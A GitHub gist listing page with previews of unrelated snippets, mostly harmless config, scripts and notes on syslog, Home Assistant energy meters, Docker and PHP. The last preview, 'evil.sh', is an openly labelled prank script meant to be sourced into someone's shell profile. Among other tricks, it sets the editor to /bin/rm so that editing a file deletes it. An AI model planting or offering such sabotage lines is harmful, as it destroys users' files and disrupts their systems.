Skip to content

Instantly share code, notes, and snippets.

View Brunty's full-sized avatar

Matt Brunt Brunty

View GitHub Profile
@joemiller
joemiller / Dockerfile
Last active February 11, 2024 11:45
convert RFC 3164 syslog messages to RFC 5424 for ingestion into Loki/promtail
FROM balabit/syslog-ng:3.35.1
COPY syslog-ng.conf /etc/syslog-ng/syslog-ng.conf

⚠️ There is now an official way to connect Glow to Home Assistant via MQTT, I would suggest using that instead of the method described below. Here are the sensor templates for that (replace GLOW_DEVICE_ID with the relevant information for your device):

mqtt:
  sensor:
    - name: "Home Power"
      state_topic: "glow/GLOW_DEVICE_ID/SENSOR/electricitymeter"
      unit_of_measurement: 'W'
      value_template: "{{ (value_json['electricitymeter']['power']['value'] * 1000) | int }}"
      icon: 'mdi:flash'
@ndfred
ndfred / glowmqtt.py
Last active July 23, 2023 07:21
Fetch data from a Hildebrand Glow device over MQTT
import datetime
import logging
import json
import paho.mqtt.client as mqtt # pip3 install paho-mqtt
GLOW_LOGIN = "GLOW_LOGIN"
GLOW_PASSWORD = "GLOW_PASSWORD"
GLOW_DEVICE_ID = "GLOW_DEVICE_ID"
# Fields gathered from the ZigBee Smart Energy Standard document
jobs:
strategy:
fail-fast: false
matrix:
chunk_count: [5]
chunk_number: [1, 2, 3, 4, 5]
env:
CHUNK_COUNT: ${{matrix.chunk_count}}
CHUNK_NUMBER: ${{matrix.chunk_number}}
@Ocramius
Ocramius / psalm-compendium.php
Last active November 9, 2023 07:27
A small compendium of what is possible with `vimeo/psalm` 3.9.x to add some decent type system features to PHP
<?php
// -- types are a compile-time propagated concept
// https://psalm.dev/r/338f74a96c
class TheType
{
/** @var string */
public $foo = 'bar';
}
@bramus
bramus / isSunSup.php
Last active November 27, 2018 13:23
PHP: Is The Sun Up (standalone version)?
<?php
function sunIsUp(\DateTime $when, $lat, $lon): bool {
$whenTimestamp = $when->getTimestamp();
$sunriseTimestamp = date_sunrise(
$whenTimestamp,
SUNFUNCS_RET_TIMESTAMP,
$lat,
$lon
@jdesive
jdesive / setup.md
Created January 28, 2018 00:00
Mount NFS share from synology NAS to Ubuntu

Mount Synology NFS share to Ubuntu 16.04

I have all hardware virtualized in ESXi 6.5...
Synology DSM 5.2-5644
Ubuntu 16.04

Start

On your fresh install on Ubuntu 16.04:

  1. Click the Connections icon on the top bar
  2. Goto Edit Connections
😒🙅🙄
$thing for fun and profit
all your $thing are belong to $shutup
honey I $verbed the $thing
$thing demystified
$thing: a deep dive
$verb all the things
make $thing great again
$x and $y and $z, oh my!
@etiennemarais
etiennemarais / .zshrc
Last active July 18, 2018 14:15
Quick alias to remove and clean untagged docker images and stopped containers.
#
# Credit to http://jimhoskins.com/2013/07/27/remove-untagged-docker-images.html
#
# Add this to your bash profile.
#
clean_docker () {
# Remove stopped containers
docker rm $(docker ps -a -q);
# Remove untagged images
@Ziul
Ziul / evil.sh
Last active May 4, 2022 21:30
Just add `source ~/evil.sh` to `.bash_profile` and wait it burn.
#!/usr/bin/env bash
# evil.sh — https://mths.be/evil.sh
# Set `rm` as the default editor.
export EDITOR=/bin/rm;
# Make Tab send the delete key.
tset -Qe $'\t';
# Randomly make the shell exit whenever a command has a non-zero exit status.